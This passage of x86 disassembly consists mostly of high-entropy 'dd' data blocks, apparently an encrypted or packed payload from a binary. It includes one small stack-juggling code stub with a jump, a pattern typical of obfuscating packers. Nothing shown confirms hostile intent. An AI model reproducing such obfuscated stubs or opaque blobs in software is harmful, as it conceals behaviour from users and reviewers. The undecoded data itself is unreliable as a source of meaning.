		dd 8C7ED43Fh, 0B978FB18h, 40EF16D7h, 5FE3B881h,	0D8FFC0A2h
		dd 0C9B9A4BAh, 538F3F43h, 7B8A73Dh, 0E1802433h,	85CA3EFFh
		dd 0ABC47C5Eh, 0C6876908h, 0D18021C7h, 7B90BD5h, 0BE04A133h
		dd 0E2EA514Fh, 5E40A87h, 0B3540000h, 0B9CFED86h, 3F42E02Ch
		dd 6F05E72Ch, 3306C571h, 0E9589E3Bh, 87E3DDEBh,	0D293152Eh
		dd 0D8802FF0h, 5BEh, 61C5422h, 3924D2DEh, 0C4A64FEDh, 9B4A8F03h
		dd 5ADF8001h, 3CE5FB19h, 943F42F3h, 0EADF754Fh,	0EBBF1BDCh
		dd 0F107254Eh, 0AD0F8BE0h, 0D0290B50h, 0D4EA0869h, 0A6F1BF06h
		dd 0C0D9F73Ch, 0E4FF743Dh, 6FDEA041h, 2359F7CFh, 8699921h
		dd 740D0000h, 0B33954C9h, 0DE627DF2h, 0E087A217h, 0CB1CC41h
		dd 0C1B3F469h, 0F76C31B6h, 269B46DCh, 51C66B0Bh, 7DF2B336h
		dd 19CBE17Dh, 3D3F4850h, 0F073B088h, 43F64F31h,	0D879102Eh
		dd 16044E9Ah, 558DAB5Ah, 19FBA63Ch, 88ADA958h, 0C63F48B3h
		dd 0C06C788Eh, 0A5EA3301h, 0C83D82F6h, 1C160B0h, 7F22C333h
		dd 0BD64049Dh, 0EFEA6F96h, 5530A54Ch, 37B53DE8h, 0E2FC9EB5h
		dd 2D659DBBh, 0DFCD17h,	95448933h, 0E05399h, 0A8506933h
		dd 0A1E65A09h, 0E28326BFh, 6A17ABC4h, 0C22E46BBh, 213300DFh
		dd 4863D89Dh, 841AFCA5h, 3300CF5Ch, 3C1EDB67h, 7F6100A3h
		dd 0FCD61C1Dh, 45165CFBh, 37E68B2Ch, 9314B538h,	0CDAF76F6h
		dd 6A03E50Ch, 0FBFA21C4h, 11D2B47Dh, 0A435CCEAh, 28DE9237h
		dd 9DB82DDCh, 0E3795B1Ah, 33011BFDh, 0D88AD0F1h, 0D178C55h
		dd 129h, 31F073DBh, 6D30B64Fh, 323CD38Bh, 89DD2E6Ah, 221E8603h
		dd 0DDBA277Eh, 4AB2322Eh, 96193925h, 0A594EDCFh, 3E76AECCh
		dd 254ABC28h, 0A6559A39h, 48C48BAAh, 758BC33Fh,	3301D16Fh
		dd 7FF3A2E7h, 54C7783Ah, 9597F244h, 72A0Dh, 8835CE00h
		dd 0B170F813h, 0D69F213Ch, 0FEA74661h, 24C96E89h, 717C6EAFh
		dd 99B429CCh, 0BCD74C09h, 0E702773Ah, 28289D44h, 506E768Ch
		dd 33E83F48h, 31F0735Bh, 6C31B64Fh, 0ACB1B74Eh,	78CBF4D9h
		dd 0B53954C9h, 0DD607BF0h, 5FDDF614h, 5772E796h, 0BDF513D6h
		dd 25203DA7h, 0E6371039h, 5F1F0963h, 8934CEEBh,	10BFE6A7h
		dd 0DB5D762Eh, 0D3FABB42h, 87802524h, 34C3D347h, 405674B1h
		dd 392542A4h, 28466DB2h, 0E4C6730Fh, 11927423h,	9116C80Eh
		dd 1195AECCh, 9CB26A4Ch, 39254348h, 0F3A2C90Eh,	8C2B447Eh
		dd 7C7A36E5h, 3581C564h, 7, 60847Fh, 73520000h,	0B94F31F0h
		dd 3924E327h, 0AE60A6C7h, 0DAF56A0Bh, 19AF9154h, 3924C2C8h
		dd 20F13738h, 11C06107h, 54C96C12h, 2EF37380h, 6E33B34Ch
		dd 0C2080B8Ch, 32756E10h, 47CF6030h, 9DB52A51h,	3925704Dh
		dd 892B4462h, 964506E8h, 0C543DDDAh, 0FEAB9681h, 617AFFFFh
		dd 0B26A19DCh, 31D84h, 0F0735200h, 37B94F31h, 0E33924D3h
		dd 0E5882E47h, 10934203h, 0CC9518CAh, 846076AEh, 473924D2h
		dd 5D1E00A1h, 4D97ADE9h, 93924D3h, 697F9DC4h, 3924D27Bh
		dd 72E796DBh, 0D6831F38h, 858433F4h, 29C86BE2h,	7D5F8647h
		dd 2E932EC5h, 0C25AFEF3h, 6ED91713h, 54EB3925h,	235D832Dh
		dd 0A93CB91Ch, 881B8993h, 802322D1h, 93A6FFE1h,	8BAAC0DEh
		dd 6D3F48DCh, 0D3961831h, 1EA0DD7h, 0DD044933h,	446DBE1Bh
		dd 7E0608F2h, 58Bh, 72E7922Fh, 9B10D157h, 0C035FC80h, 0EA5F06A5h
		dd 168B2ECFh, 57D8E3D5h, 60021D92h, 812540B5h, 0A94C67DCh
		dd 0F7939308h, 485303E1h, 0C69E533Fh, 1331F073h, 54BFD47Ch
		dd 4BFACC74h, 6379B169h, 3924DE81h, 0E2E190D5h,	823985Dh
		dd 2C47BC65h, 6B04E68Bh, 0C44527CAh, 0CB6A0D26h, 0F67928E9h
		dd 0B479FEB0h, 0C469673Fh, 232281C5h, 6C000002h, 0F8B93B54h
		dd 0E7A65516h, 0A53B1D56h, 3813D229h, 4A2CF176h, 886A0BB1h
		dd 0E4BE0407h, 0FB7D96CEh, 0DE061C3Ah, 783A35D3h, 0BB018433h
		dd 0B4CF4E4Ch, 1EC0780h, 0D2EB0000h, 0E2A38530h, 8AB37B33h
		dd 27BDD3F1h, 2F3924D3h, 5C7208EAh, 433813D1h, 811AFCA5h
		dd 0BAADDEE1h, 0F15C9DDh, 0A3A406E8h, 356D835Dh, 79FDE7FDh
		dd 14593A36h, 2D9CE265h, 80B4292Fh, 1A9E8h, 8AB33200h
		dd 33BAD3F1h, 6DA5C372h, 0D2C51F35h, 4C913924h,	2204A94Dh
		dd 32B6B261h, 2C3924D3h, 5F6F05E7h, 293813D1h, 0D9D7468Ch
		dd 1C80B4CFh, 614AF185h, 0C3721CAEh, 16D1Bh, 8AB36500h
		dd 0ACD39219h, 0D274788Eh, 0ADF23924h, 32F3768Fh, 0C30BA183h
		dd 0C53813D1h, 7573E228h, 0B880B4CFh, 0CB7A6A80h, 97DC3A35h
		dd 13C40E8h, 738A0000h,	0FA1331F0h, 1F01B075h, 2442E386h
		dd 0B9CF6B0Bh, 3924D32Bh, 10BFE62Bh, 0F879C09Bh, 0F095C4DAh
		dd 6FAB3F42h, 6B58B59h,	5F86CB33h, 0B5F9E77Dh, 16B33306h
		dd 0ED6361D0h, 3A1C87E3h, 0
		dd 0BC4B8E69h, 73910F0Fh, 5F0875Dh, 0DB8ACF33h,	0ED86B323h
		dd 0FE4CB9CFh, 74C3F42h, 0B6D66D25h, 0FA87D635h, 4E928E3Dh
		dd 5E3305F6h, 0E0C7BC1h, 0C787E4B2h, 97h, 31F07311h, 9431B64Fh
		dd 2CE97910h, 8062894Ah, 0BB9D44E7h, 0CAACD3FAh, 5E78E31h
		dd 0B328C96Ch, 24D8169Bh, 2DAC4F39h, 4102E489h,	0AEC4FC1Ah
		dd 3924CF36h, 7F5EDB20h, 931DEF46h, 946FE493h, 98AECCA5h
		dd 3F4540EFh, 314A68ADh, 5974E98Ch, 9C4F11D4h, 52F24671h
		dd 35DC850h, 60010000h,	872540B5h, 0AA4E69DEh, 0FC7B960Bh
		dd 0A5C035h, 0B5A7E85Dh, 0EB6005AAh, 128732D0h,	3DB277F7h
		dd 61D69F22h, 35AFC561h, 213F4855h, 0F273946Ch,	1C9FBA2Fh
		dd 730CE055h, 0B64F31F0h, 1C547233h, 24D2DE06h,	3C506F39h
		dd 6FBFF17Ah, 9207B6FBh, 253F677Ah, 0D69B9E39h,	6313A2B8h
		dd 0A0E53F43h, 0F073572Bh, 33B64F31h, 1722FD72h, 33263C5Ah
		dd 633F42F0h, 403A24Ah,	1DDEC061h, 0D3B5FA6Eh, 6B4A33Dh
		dd 266C0933h, 0E3EEB9B7h, 3E7287h, 0B3BC0000h, 0B9CFED86h
		dd 3F42FE4Ch, 0E9882F4Ch, 0BC9E47EAh, 9DB6D4FBh, 0DF785A1Bh
		dd 0C4739A5Fh, 0A7944CE2h, 892F3306h, 0D56D06E8h, 0E3E44628h
		dd 10ADC39Dh, 0FF5D5BCAh, 0BE1687E3h, 60000000h, 1331F073h
		dd 0D31FC5DBh, 0F2373924h, 27C86143h, 0AB0906AAh, 0F56B2B47h
		dd 0FDDF062Dh, 0EB962C45h, 9A994809h, 0D36C4E17h, 41C9150h
		dd 39255EADh, 0F76C35B8h, 0B69859DCh, 3EBFDC5Dh, 0B1D8997Bh
		dd 0BA425B93h, 0A95819FBh, 43624CADh, 7AEF343Fh, 0BBD99A9Fh
		dd 27F4DCA5h, 516FB439h, 7DF2B738h, 5618DD62h, 0EC291F8Fh
		dd 1CC95153h, 0C0000002h, 0E6017623h, 0F2A9F46h, 344FC46Dh
		dd 5C77ECB5h, 60A116DBh, 1FC2636Eh, 46F38FAAh, 6D30B6D1h
		dd 9B5ADDF8h, 748A2626h, 3F485570h, 735931E6h, 0F8112FF2h
		dd 0D30AD74h, 5C76DE7h,	1E39AE5Dh, 2B65DA9Bh, 1C676C94h
		dd 0E5942642h, 0ED86B32Dh, 0E47E97CFh, 778E8A39h, 213F42FDh
		dd 7C64FADCh, 473306A6h, 0E28325A4h, 0B840D9BBh, 0DC0017F9h
		dd 0EBE73C4Bh, 0C90F12F9h, 0F63CD9EFh, 0E4C88987h, 0EF4287h
		dd 738C0000h, 7C1331F0h, 485E34C3h, 3925989Ch, 83F875BAh
		dd 0AC8E3D7Ah, 0EDCF9213h, 255A5A57h, 0D2680B39h, 255128BCh
		dd 0C2E92E39h, 77FA134Dh, 650CAFAEh, 1413C283h,	95EED091h
		dd 79B1CFA4h, 5C7AA41h,	0E4A44C7Fh, 24F8FCE8h, 66155A39h
		dd 43058F6Ah, 37ACF13Fh, 0DA2C66FDh, 0B6D3309Ch, 80F14807h
		dd 29A44962h, 0AB9E085h, 0FC4CD6ECh, 41863927h,	0C0650A23h
		dd 3CF989A2h, 588CA25Ah, 0FE2CE6A9h, 1A1592B9h,	0ACA4884h
		dd 5570E594h, 0AC4B0DD0h, 1AEC2870h, 0F99018h, 49D0000h
		dd 23C9E459h, 4EF20D82h, 901732A7h, 0BC415CD1h,	514384F9h
		dd 87FCA146h, 0B62BD66Ch, 0E1561B9Bh, 0D8223C6h, 895B710Dh
		dd 0CD3F4856h, 1C544018h, 0D316CEE4h, 0FB403924h, 24D2E5FFh
		dd 7D2C7139h, 0BF34F97Eh, 536901A4h, 3924D291h,	0E45980C5h
		dd 0B83B5410h, 0A75617F9h, 7A5C05A8h, 22975EE1h, 6381F247h
		dd 4C1FFCCCh, 9443B49Dh, 0F0063E76h, 392516F4h,	1C9051D7h
		dd 52C28D7h, 0EB3F4890h, 7E942ACEh, 33019D66h, 5D84ABF0h
		dd 965FE27Bh, 7C50E721h, 0D3921ADAh, 71D3EB56h,	0A920C3C2h
		dd 0BC7D5F06h, 0D473563Fh, 0ADD49692h, 44DB13CBh, 0D8107B10h
		dd 0CA1A1689h, 8C33012Dh, 2D9C9847h, 7D9D920Ah,	0E5883A80h
		dd 9ACC73Ch, 52895B71h,	88CDC870h, 852A4361h, 975EE1E0h
		dd 6345F4B5h, 0A08223CAh, 19CB1132h, 3F5ACF96h,	8B13F5BCh
		dd 3, 73A77F59h, 0B85133EEh, 0F18A6C35h, 2DC6A84Dh, 6D06E895h
		dd 0AA4325C8h, 0E57E6005h, 24BD9F46h, 66FFE180h, 3D1FC6h
		dd 5E08950h, 4,	8704E883h, 895C2404h, 8957242Ch, 4C781E7h
		dd 83000000h, 3C8704EFh, 4895C24h, 2A4A6824h, 1C890000h
		dd 4EC8124h, 89000000h,	7D68240Ch, 5919C75Ah, 59C8C181h
		dd 0E1814EABh, 59B2617h, 55A9C181h, 0C8890611h,	1C8B5459h
		dd 4C48324h, 8904EC83h,	438F2404h, 241C8B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_536D7B
; ---------------------------------------------------------------------------
		db 59h
		dd 85F4B89Ch, 0C5030623h, 7502E0FFh, 0BF41CE7h,	27B234B5h
		dd 0C6C93E60h, 4DB950F3h, 9C585D4Dh, 763738A9h,	8D8D5B4Ah
		dd 6238779h, 1FA1858Bh,	8D89061Eh, 61E2375h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 25C35242h, 0B078D69h
		dd 1E14CDBDh, 4D85C706h, 44061E32h, 6A00006Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0E999C350h, 11h, 92EBDB8Bh, 120D6DD3h, 69DB7146h, 0CCDC2D2Bh
		dd 6985C797h, 61E31h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 85D2C352h, 0ADE321CFh
		dd 19958BF6h, 0E8061E33h, 0Eh, 6CDE004Ch, 0FD8631A3h, 98B989DAh
		dd 8B66FC4Eh, 0B5FF58F0h, 61E2991h, 1DBD958Bh, 95FF061Eh
		dd 61E16B9h, 2EB1958Bh,	6A061Eh, 26C195FFh, 0C08B061Eh
		dd 84C1FEBh, 0A28B1513h, 5431210Dh, 0C226F6E5h,	0BB9DA4Dh
		dd 0FCE33AE1h, 85B3363Eh, 0AA2891C6h, 0DE859h, 0CE340000h
		dd 9A807FD7h, 3D1A8F27h, 0F3495DBh, 68Dh, 45858900h, 5E061E15h
		dd 6B1FC681h, 0F570000h, 185h, 335BF800h, 0BF6660C0h, 0B70F98CAh
		dd 3C8B61D7h, 81DA8B06h, 0FBC0B5F7h, 0F985893Fh, 81061E1Bh
		dd 10DCE4EFh, 0B1958B74h, 81061E00h, 2B1471F7h,	61BD8942h
		dd 57061E22h, 0E2816657h, 8F5ADC2Ah, 8CB60604h,	0DE9h
		dd 93B2A600h, 2654DC95h, 54581040h, 0E88169B2h,	417BB5E5h
		dd 0D9D0160h, 0E9061E02h, 12h, 16051AC7h, 0EF93AC5Dh, 0ED1DA093h
		dd 0C7D2298h, 8161B1EDh, 7BB5E1C0h, 0CDBD8941h,	81061E14h
		dd 0FF959CF8h, 7B850FFFh, 33FFFFFFh, 1E31D18Dh,	2DEB06h
		dd 0D0000000h, 9CBFAE0Dh, 0F9DFF231h, 88A7A5ADh, 0FB75528Ch
		dd 9CBE00B7h, 7EE5ADF9h, 9D8993h, 67268168h, 3B2BD14h
		dd 13E5C229h, 0B5FE9h, 89AA6800h, 0E90623h, 68FFFAF7h
		dd 6238ADCh, 0FAF6F6E9h, 8C2968FFh, 0ECE90623h,	68FFFAF6h
		dd 6238CCEh, 0FAF6E2E9h, 8D8568FFh, 0D8E90623h,	68FFFAF6h
		dd 6238E99h, 0FAF6CEE9h, 8F5468FFh, 0C4E90623h,	68FFFAF6h
		dd 6239167h, 0FAF6BAE9h, 927C68FFh, 0B0E90623h,	84FFFAF6h
		dd 0B2CD42FFh, 0DBF66B0Ah, 8239859h, 304BC061h,	3475EA8Fh
		dd 0F3B63742h, 22DF637Eh, 49EC92ADh, 6F36B9D4h,	485EFAFAh
		dd 3F485A9Ch, 542D05BAh, 0D2DE061Ch, 33783924h,	0FF74C584h
		dd 5B99CBE1h, 81BD3F48h, 14A796Bh, 7198DD33h, 0EEB73A53h
		dd 0C4DB5E79h, 0EEAB18DFh, 6D8BB25Eh, 6B6AFBD6h, 2386F87Ch
		dd 8C4CC99Fh, 4123D271h, 22051E8h, 687C92CAh, 0EE33018Dh
		dd 49FEFAA9h, 0D3392516h, 0D457708Eh, 0FA7D980Dh, 7E041D3Bh
		dd 7120E1C3h, 6E03368Fh, 7EFF1850h, 91100CBBh, 3F32FC19h
		dd 0F9DB9A22h, 0E0041A38h, 7626BFF1h, 9E480A31h, 2EE602C4h
		dd 9A9A42Ch, 38C90000h,	4FED087Dh, 921631A6h, 0A4435ED3h
		dd 0C86D88FDh, 7D6FB025h, 0B328CD72h, 0DA4F0A98h, 57A3FBFh
		dd 299E47EAh, 6D778D29h, 0E93F485Bh, 0F0735C34h, 33B64F31h
		dd 2CC3FD72h, 9FDEC162h, 0B77625CBh, 9BD3F182h,	5638FD82h
		dd 6FEAE695h, 0D13F434Ah, 0D9F2AA8Ch, 0E5E19055h, 33070FFBh
		dd 0DE6079B1h, 0A3E96C1Bh, 0E3933634h, 2CEF87h,	0B3390000h
		dd 0B9CFED86h, 3F42FE4Ch, 3CF989A2h, 89A995Ah, 0FBAA6B4Dh
		dd 0CA604287h, 3306A816h, 44B3F996h, 87E3FF46h,	0D8FFh
		dd 0F0734900h, 31B64F31h, 4EF18A6Ch, 892CC5A7h,	825B73E8h
		dd 3B3924D6h, 0F8EC02B8h, 0D33924CEh, 0EFB0924Fh, 0F10F367Bh
		dd 0CF41A3B9h, 0D0153924h, 0FEDE353h, 18C7A009h, 0A85069A3h
		dd 0B7662709h, 8A6C35B8h, 4D6B0831h, 42AC9237h,	0D4498E3Fh
		dd 984C629Ah, 0BE330692h, 2E0BCA79h, 0B32E47EFh, 759C2CDCh
		dd 212FC057h, 53788D1Bh, 0AA7086A4h, 18392728h,	1B9CB5D3h
		dd 0EA003856h, 2CE5CFFAh, 0FBBE3F5Ch, 82315819h, 0A84DF20Dh
		dd 28A1FAE6h, 3CC4C6ECh, 877h, 0DA4F0A97h, 37839BFh, 289D44E8h
		dd 52C76E0Dh, 7EF3B637h, 0BF404B3Dh, 0D86A85FAh, 0E98DA81Dh
		dd 31B4CF44h, 5FFBFB70h, 485C9B49h, 2E06BB3Fh, 0BA2FF273h
		dd 20C16780h, 2CDB9A21h, 76EB8A2Dh, 0F686B3A2h,	0D85E725Fh
		dd 0F0B1C45h, 39252FD5h, 21C06481h, 0B978FBFAh,	0CFDD7492h
		dd 61DABF38h, 0B3C9E796h, 3F43F152h, 891F0146h,	33079A57h
		dd 6D861D55h, 20EBDD94h, 6E501599h, 54D786ADh, 0FAA19F0Eh
		dd 0FB5A87E2h, 3E000000h, 64089D25h, 0F31ADBBDh, 0E9A15011h
		dd 4F31F073h, 8A6C31B6h, 24D6E9F4h, 9051D439h, 0B47D001Bh
		dd 5DC079D2h, 0D948856h, 8EACD369h, 0DC081E56h,	7A3924CCh
		dd 3F8A8635h, 373F42D9h, 0BFFBE9FFh, 165B3306h,	90AEF367h
		dd 0EDD6F577h, 0FF81DD5h, 61D685ACh, 42E6B386h,	5F02A4A3h
		dd 7795BC7Dh, 6C1BDA5Eh, 0C8DE164Eh, 3306A01Ch,	846613AFh
		dd 5B0A4FC3h, 2748AA5Fh, 93B1F639h, 0F6BF425Bh,	0E5F6EAFAh
		dd 1A306C2Ch, 2CE5F6CAh, 7120478Ch, 9AB53A53h, 354BEA7Ch
		dd 2CE685AFh, 17E562A7h, 0F1668DB2h, 0EB9F20B7h, 92F40EEBh
		dd 0C643E4E3h, 0DB9C7E27h, 0A00F2B4h, 0CACCEC29h, 72A42h
		dd 0FCB94A00h, 25CC6C87h, 521395B0h, 7A3BC2DDh,	0A045EA05h
		dd 0EDF8EA2Bh, 1530A548h, 405BD08Dh, 6B86FBBEh,	0B4B429C8h
		dd 5EE20218h, 0BF743F48h, 2FF273E7h, 551C9FBAh,	0BD540CE0h
		dd 54D97AA9h, 221B9801h, 97F3503Eh, 3CBFBE6Dh, 77FA9375h
		dd 0BF2139AEh, 44392577h, 6001A4F5h, 55051B39h,	433F4900h
		dd 0B087982Ah, 0AC051A09h, 11D2B4DBh, 8BA9EE62h, 0B126CF72h
		dd 0BB293F77h, 9B33029Ah, 5A8A756h, 18217A5Ch, 0F6273D5Bh
		dd 2839209Dh, 0C79D9F91h, 0E69533CBh, 0A16B2D72h, 6DEC279Ah
		dd 685E36Bh, 1CA50000h,	2BD1EC61h, 76FA158Ah, 981F3AAFh
		dd 0A44964D9h, 594B8C01h, 8F04A94Eh, 0BE33EE74h, 0E95E03A3h
		dd 158A2BCEh, 81637915h, 0D53F485Eh, 0BD544820h, 6A8EE3A0h
		dd 828130CBh, 0BB5436FFh, 16977938h, 0E3FCCD13h, 0F9BA9C45h
		dd 9A84B4Ah, 77BEBC94h,	0C90181C5h, 252431B3h, 31E02539h
		dd 789h, 9884D300h, 52000001h, 0DE061C54h, 0CE3924D2h
		dd 24D32CB8h, 71E52A39h, 5F817D2Ch, 0A43924D2h,	15CFE595h
		dd 413924D3h, 0A1B7D5FCh, 3F485BAEh, 18DD617Eh,	37BAD3F1h
		dd 5BDEF96Eh, 0DA5FB89Ah, 0B8657B99h, 10391F4Dh, 18F509CBh
		dd 0BFC1EC26h, 5CE37h, 0A855EE00h, 0D1901833h, 0F6BF415Ch
		dd 1EC76681h, 44E98EA9h, 919C8ECFh, 0B9D449ECh,	0DCF76C29h
		dd 722975Ah, 4848BD64h,	604E96ACh, 53083F48h, 0A73B547Bh
		dd 0A85718FAh, 7D5F06A9h, 20C841E4h, 0B7DE9F81h, 0F5BC3CD5h
		dd 31F47A13h, 85CBCE4Fh, 7BC1C4ABh, 0A7F26C9h, 0C5D43432h
		dd 293F7781h, 3924C6BBh, 0FFA7569Bh, 7,	0D98449h, 54520000h
		dd 15F7BA3Bh, 0C4203654h, 923924D2h, 5ADF9E4Dh,	5CE2FB19h
		dd 0D8F6B799h, 24D322C2h, 40EF3439h, 5B580C22h,	63FE3F48h
		dd 0B30B59FFh, 203E6548h, 8712D2E8h, 0FF443301h, 96193250h
		dd 0BC3F5ACFh, 86FCE8FEh, 155A3301h, 86B30CEEh,	8EB9CFEDh
		dd 0E439250Fh, 0FF4E96ACh, 0C3082CDDh, 4E64A014h, 2CDDFE96h
		dd 36547BC0h, 7F039A1Dh, 0BEA045EAh, 33F4D6FDh,	1257EE0Ch
		dd 4FA1F893h, 203BB05Fh
		dd 9DB6D49Dh, 0B2735518h, 71C82103h, 0D5CCE200h, 0FB32FC0Fh
		dd 0BAA4F4B6h, 9EA0E602h, 4BA16h, 8C49DA00h, 0B57CFC17h
		dd 0E2832540h, 0AAB526Dh, 30F57A95h, 7D887ABBh,	0A5C035F8h
		dd 0D0EB601Dh, 0FB168B2Eh, 4444B978h, 615292A8h, 4F043F48h
		dd 14D8477h, 54520000h,	14F6BB3Bh, 54E5A453h, 2103A647h
		dd 9250420Ah, 0DA015BCBh, 0E57F95B3h, 713F4874h, 3FD60E2Ch
		dd 7DAB49DFh, 0B5B463D6h, 0E3FE7332h, 68D34B40h, 0C0BD00AFh
		dd 2D437B99h, 33014AB7h, 0C9AB5A9Fh, 8AA8C970h,	24D2D374h
		dd 0E6044939h, 168B2ACDh, 9BB978FBh, 3635E082h,	6042F1ACh
		dd 23413207h, 9175418Ch, 0AEC4AC35h, 2CDD0436h,	5B4DB20h
		dd 17D0D1E7h, 0BB0032FBh, 1C1B1F9h, 33BBBDE6h, 3FFh, 62D7821Fh
		dd 8B00A147h, 0B025CC70h, 0DA4F1695h, 67B3EBFh,	27C8D3C5h
		dd 50F20D82h, 911530A5h, 0B93C57CCh, 0E78383F8h, 486213D1h
		dd 0B68E433Fh, 4F31F073h, 0E5FA7E97h, 7720F24h,	0BC9EC502h
		dd 0AA4D4CFBh, 53D4ED0Bh, 3CEBAC8Eh, 90D6D95Ah,	259A5BDEh
		dd 0C5C14F4Dh, 0F1FB9281h, 0DC942152h, 60D17928h, 1B000000h
		dd 0E0F686B3h, 3924D304h, 0D35292A8h, 0BF043924h, 0C1DF064Bh
		dd 25CC7089h, 6F758B43h, 0E73924D2h, 0D0CC7BA2h, 3F431FC8h
		dd 5B93B1F6h, 46F5A042h, 87FCA547h, 686726Fh, 11D05333h
		dd 3FA5BBF3h, 17330687h, 93AE23D2h, 19325011h, 2DEED095h
		dd 866EA2B0h, 1FCE8E08h, 339B53Dh, 54830000h, 0D2DE061Ch
		dd 0B8CE3924h, 3924D32Ch, 2C71E52Ah, 35F87E7Dh,	6E37BA53h
		dd 8ACDB950h, 41097B7Dh, 4BFABB42h, 7938BBD6h, 26C6DF97h
		dd 0AA1DAC29h, 8CB3D2EDh, 0C86D11AAh, 4FFE25E6h, 8F04AD50h
		dd 0F9B83C55h, 0C5AE8B4Ah, 8AC891A7h, 37CE3F43h, 0D334C846h
		dd 0B479FD3Dh, 256ADE8Dh, 0D233AD43h, 0DC793307h, 0D1292796h
		dd 4CE287E2h, 0C6000000h, 0B96815ADh, 1586B301h, 55EED08Dh
		dd 703113D2h, 0CC042249h, 8A6C35B3h, 0E71E1AC9h, 0B13F42FDh
		dd 0B9D28A6Ch, 0C98A6C29h, 9F8124CAh, 0AD332FDEh, 0FF3306A7h
		dd 6B0AAEC7h, 0A849F089h, 94FD281h, 0E3FF9C9Ah,	0CA5587h
		dd 739F0000h, 974F31F0h, 8837FE7Eh, 0C769E489h,	0DC03A246h
		dd 0FB7E97B5h, 10A98B3Ah, 49E2C46Dh, 728AFFA6h,	3924D66Bh
		dd 9106AF52h, 5032F376h, 34FD7F98h, 0FE73C685h,	0EF8FA8E0h
		dd 5A9F9B4Ah, 263F42DCh, 9B326CE1h, 0AB8C29Ah, 26E594D0h
		dd 2A405E13h, 39269C57h, 0A066FD39h, 0BFD4F001h, 0F568E8Ah
		dd 0F2752CE5h, 1C905133h, 5A92B0D7h, 17F9BC41h,	7A8A756h
		dd 2DD2ED62h, 7150EB0h,	26DF677Ch, 71335A81h, 0EC27FB33h
		dd 0ECB53D3Fh, 0C000001h, 3A55CA77h, 637EF3B2h,	90AB20C1h
		dd 0B8D348E9h, 0BCFD7237h, 7B3EBFCAh, 0AA57EB06h, 0D1941A35h
		dd 0F7BE415Ch, 0D0E68282h, 3F486414h, 73B58D42h, 9FBA2FF2h
		dd 0CE0551Ch, 0CFED86B3h, 9E0E0097h, 6C5BEE7Ah,	24F37470h
		dd 0EE9DE239h, 1F4BBAD0h, 8AA33F43h, 1D9140E5h,	0A73EF6D8h
		dd 8125D4E3h, 0BC39FADCh, 4BD3F8Dh, 0DF1C428Dh,	0F0EC9BC2h
		dd 33067EF0h, 35B851D3h, 0CA63456Ch, 5A08223h, 0CE6E2066h
		dd 5D844527h, 0F564AA47h, 87E428F7h, 0DA9B213Ah, 5D962D5Dh
		dd 0A7562002h, 0ACFFh, 0F0734900h, 31B64F31h, 29501194h
		dd 27BDD30Bh, 2F3924D3h, 0A1593BEAh, 9342E788h,	24D74697h
		dd 2DF47739h, 831A9DB8h, 0F8163DE4h, 879D5DDFh,	3924CE5Dh
		dd 0DE8DB4F9h, 0DD96A3FCh, 6DDA28BFh, 493C39AEh, 3DE4C166h
		dd 0CD7CA301h, 436099AFh, 0DB203F42h, 0C5AE8B66h, 0D29191A7h
		dd 0FC413926h, 7D20C5DEh, 0A548ED08h, 2851D3E3h, 29B1B3ECh
		dd 0D7h, 3AAF6AF7h, 63D8991Fh, 88FDA448h, 0B227CE6Dh, 0DE531697h
		dd 1FA0AB9Dh, 38CAE55Ah, 49ED087Dh, 91142FA4h, 0BF5B5BD0h
		dd 48653BA9h, 8E661B3Fh, 0BA2FF273h, 0E0551C9Fh, 31F0730Ch
		dd 7B33B64Fh, 24D27F65h, 859BD739h, 3924D25Fh, 648BB2F7h
		dd 4C2514EFh, 1900972Eh, 0AD31B3C9h, 0E0253925h, 12CE8E63h
		dd 0F40D4563h, 0DCEB071h, 0B70A625Eh, 3F5C3F48h, 0EFD1F8B9h
		dd 83841E37h, 6EE995A9h, 5C0B3229h, 0A61BDA5Dh,	6749E88Bh
		dd 0C75B57D1h, 0CE141148h, 63D8991Ch, 1AFCA548h, 0D0142A62h
		dd 861D3AAEh, 3CC441h, 0F7CE310Ch, 3A24948h, 3CE58821h
		dd 223DC15Ah, 9A3FFE17h, 0CDAFD619h, 2C064C49h,	3FF13758h
		dd 6580F5BCh, 0B94123C2h, 3, 73A77F87h,	0B85133EEh, 0F18A6C35h
		dd 2DC6A84Dh, 6D06E895h, 0AA4325C8h, 0E57E6005h, 24BD9F46h
		dd 66FFE180h, 3D1FC6h, 49A468h,	241C8900h, 5E08950h, 4
		dd 42Dh, 24048700h, 241C895Ch, 5E08950h, 4, 42Dh, 24048700h
		dd 2404895Ch, 88EF6855h, 895D0623h, 0EC835DEBh,	24248904h
		dd 4240481h, 58000000h,	0DA895257h, 895AD789h, 0FF5F0878h
		dd 83582434h, 1C8B04C4h, 0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 0EBB5E95Ch, 5CA5FFFAh, 9E000C1Ah,	474CD75h
		dd 239378B8h, 0FFC50306h, 800067E0h, 49BAB40Bh,	9E3BEE69h
		dd 87E1A249h, 97CD1276h, 1BFAD562h, 0FD168E0Fh,	932D0E73h
		dd 78E04377h, 0E554767Ch, 0AFCD166Dh, 7D338828h, 4E8D5C01h
		dd 9AE22F1Ch, 29FA9C12h, 3FA22F42h, 603A5C51h, 26C9042Eh
		dd 5724E140h, 0F6013D1Dh, 0B140900Ch, 9807EE69h, 49C58660h
		dd 5A676C3Dh, 116EB79h,	258D8D63h, 80062395h, 8D895ED0h
		dd 61E2375h, 6860Fh, 8D310000h,	61E0215h, 324D85C7h, 6C60061Eh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0B34E19C3h, 94C68E1Dh, 0E99D1B4Bh, 5, 0A4E71352h
		dd 61852B00h, 0C7061E22h, 1E316985h, 6,	659D8B00h, 0FF061E04h
		dd 1E2931B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 524FAEB0h, 1D552DBBh, 95FF5B04h
		dd 61E16B9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	87C35242h, 5A7E10F6h, 6A6F1Dh, 26C195FFh, 0C08B061Eh
		dd 7F260EEBh, 81B48019h, 41E02F30h, 0AA746B83h,	6AC08Bh
